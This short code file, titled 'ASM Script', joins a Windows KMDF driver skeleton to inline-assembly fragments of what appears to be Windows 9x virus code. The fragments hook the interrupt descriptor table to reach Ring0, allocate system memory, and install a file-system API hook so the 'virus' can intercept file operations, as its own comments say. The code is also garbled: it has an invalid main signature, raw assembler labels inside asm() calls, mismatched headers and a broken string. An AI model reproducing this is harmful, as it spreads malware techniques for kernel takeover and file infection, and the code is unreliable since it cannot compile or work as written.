ASM Script // R@i4@ //

#include <stdio.h>
#include <emmintrin.h>
#include <omp.h>
#include <ntddk.h>
#include <iostream>
#include <wdf.h>
#include <asm.h>
using namespace std;
int main();
DRIVER_INITIALIZE DriverEntry;
EVT_WDF_DRIVER_DEVICE_ADD KmdfSmallEvtDeviceAdd;

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT  DriverObject, _In_ PUNICODE_STRING RegistryPath)
{
    NTSTATUS status;
    WDF_DRIVER_CONFIG config;

    KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "KmdfSmall: DriverEntry\n"));
    WDF_DRIVER_CONFIG_INIT(&config, KmdfSmallEvtDeviceAdd);
    status = WdfDriverCreate(DriverObject, RegistryPath, WDF_NO_OBJECT_ATTRIBUTES, &config, WDF_NO_HANDLE);

    DbgPrint("Privet! Udachi Bratan (" ^.^ "");

    return status;
}

NTSTATUS KmdfSmallEvtDeviceAdd(_In_ WDFDRIVER Driver, _Inout_ PWDFDEVICE_INIT DeviceInit)
{
    NTSTATUS status;
    WDFDEVICE hDevice;
    UNREFERENCED_PARAMETER(Driver);

    KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "KmdfSmall: KmdfSmallEvtDeviceAdd\n"));
    status = WdfDeviceCreate(&DeviceInit, WDF_NO_OBJECT_ATTRIBUTES, &hDevice);
    return status;
}

int main(ASM-BIOS)
{

/* Ring3 Initiation */

asm(
lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToCode-@0[ebx]
push ecx

push eax
);

/* Ring0 Initiation */

asm(
push eax ;
sidt [esp-02h] ; IDT Adress
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; EXDBS
mov bp, [ebx-04h] ; Enter Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; MOD'Y
mov [ebx+02h], si ; Enter Point

pop esi

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
);

/* Save Data */

asm(

ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE
);

/* Ring3 Alloc Script */

asm(
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore BinAccess
mov [ebx+02h], bp ;
);

/* Locate SysMem */

asm(
mov dr0, ebx ; Set the Mark of My Virus Exist in System

push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h

xchg edi, eax ; EDI = SystemMemory Start Address

lea eax, MyVirusStart-@2[esi]

iretd ; Return 0 ()
);

/* Install Code */

asm(
InstallMyFileSystemApiHook:

lea eax, FileSystemApiHook-@6[edi]

push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; EAX ECX EDX Perms And Flags

mov dr0, eax ; Save OldFileSystemApiHook Address

pop eax ; EAX = FileSystemApiHook Address

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx

; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax

cli

jmp ExitRing0Init
);